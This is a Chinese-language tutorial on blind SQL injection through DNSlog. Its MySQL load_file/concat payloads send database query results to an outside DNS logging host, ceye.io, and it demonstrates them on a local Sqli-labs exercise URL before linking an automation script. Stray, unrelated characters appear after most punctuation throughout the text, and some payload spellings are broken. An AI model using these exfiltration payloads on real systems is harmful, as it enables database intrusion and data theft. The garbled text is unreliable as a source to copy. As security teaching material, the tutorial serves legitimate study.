01 背景知識(shí)
1. 什么是DNS宫峦?
DNS的全稱(chēng)是Domain Name System(網(wǎng)絡(luò)名稱(chēng)系統(tǒng))血公,它作為將域名和IP地址相互映射,使人更方便地訪問(wèn)互聯(lián)網(wǎng)睦霎。當(dāng)用戶(hù)輸入某一網(wǎng)址如www.test.com
梢卸,網(wǎng)絡(luò)上的DNS Server會(huì)將該域名解析,并找到對(duì)應(yīng)的真實(shí)IP如192.168.10.11
副女,使用戶(hù)可以訪問(wèn)這臺(tái)服務(wù)器上相應(yīng)的服務(wù)蛤高。
2. 什么是Dnslog
Dnslog就是存儲(chǔ)在DNS Server上的域名信息,它記錄著用戶(hù)對(duì)域名www.test.com
碑幅、t00ls.com.
等的訪問(wèn)信息戴陡。
3.為什么用Dnslog盲注?
對(duì)于SQL盲注沟涨,我們可以通過(guò)布爾或者時(shí)間盲注獲取內(nèi)容恤批,但是整個(gè)過(guò)程效率低,需要發(fā)送很多的請(qǐng)求進(jìn)行判斷裹赴,容易觸發(fā)安全設(shè)備的防護(hù)喜庞,Dnslog盲注可以減少發(fā)送的請(qǐng)求,直接回顯數(shù)據(jù)實(shí)現(xiàn)注入棋返。
02 Dnslog盲注
1.原理
如圖延都,攻擊者首先提交注入語(yǔ)句select load_file(concat('\\\\','攻擊語(yǔ)句',.XXX.ceye.io\\abc))
在數(shù)據(jù)庫(kù)中攻擊語(yǔ)句被執(zhí)行,由concat
函數(shù)將執(zhí)行結(jié)果與XXX.ceye.io\\abc
拼接睛竣,構(gòu)成一個(gè)新的域名晰房,而mysql中的select load_file()
可以發(fā)起請(qǐng)求,那么這一條帶有數(shù)據(jù)庫(kù)查詢(xún)結(jié)果的域名就被提交到DNS服務(wù)器進(jìn)行解析
此時(shí)射沟,如果我們可以查看DNS服務(wù)器上的Dnslog就可以得到SQL注入結(jié)果殊者。那么我們?nèi)绾潍@得這條DNS查詢(xún)記錄呢?注意注入語(yǔ)句中的ceye.io
验夯,這其實(shí)是一個(gè)開(kāi)放的Dnslog平臺(tái)(具體用法在官網(wǎng)可見(jiàn))猖吴,在http://ceye.io上我們可以獲取到有關(guān)ceye.io
的DNS查詢(xún)信息。實(shí)際上在域名解析的過(guò)程中簿姨,是由頂級(jí)域名向下逐級(jí)解析的距误,我們構(gòu)造的攻擊語(yǔ)句也是如此簸搞,當(dāng)它發(fā)現(xiàn)域名中存在ceye.io
時(shí)扁位,它會(huì)將這條域名信息轉(zhuǎn)到相應(yīng)的NS服務(wù)器上,而通過(guò)http://ceye.io我們就可以查詢(xún)到這條DNS解析記錄趁俊。
總結(jié)一下:
Dnslog盲注就是利用load——file()
函數(shù)發(fā)起請(qǐng)求域仇,使用Dnslog接受請(qǐng)求,獲取數(shù)據(jù)的一種攻擊方法
核心語(yǔ)法:
select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')
通過(guò)對(duì) "selecct databse()" 這一部分語(yǔ)句的構(gòu)造寺擂,就能實(shí)現(xiàn)有回顯的SQL注入暇务。
值得注意的是泼掠,這些數(shù)據(jù)格式和內(nèi)容都有限制,需要進(jìn)行一些處理垦细,并且只能在Windows平臺(tái)發(fā)起load_file請(qǐng)求
2. 演習(xí)
以Sqli-labs中的盲注練習(xí)為例:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
echo 'You are in...........';
}
可以看到這是一個(gè)典型的盲注場(chǎng)景择镇,那么構(gòu)造注入語(yǔ)句
http://127.0.0.1/sqli/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.hacker.ceye.io\\abc'))--+
# hacker是ceye.io分配給注冊(cè)用戶(hù)的標(biāo)識(shí)符
在ceye中可以看到當(dāng)前的數(shù)據(jù)名security
已經(jīng)顯示出來(lái),后面的發(fā)揮想象更改注入語(yǔ)句就可以了
03 工程化Python腳本
直接給地址了(什么時(shí)候我也能寫(xiě)出這樣的腳本(ˇ?ˇ) ~):
https://github.com/ADOOO/DnslogSqlinj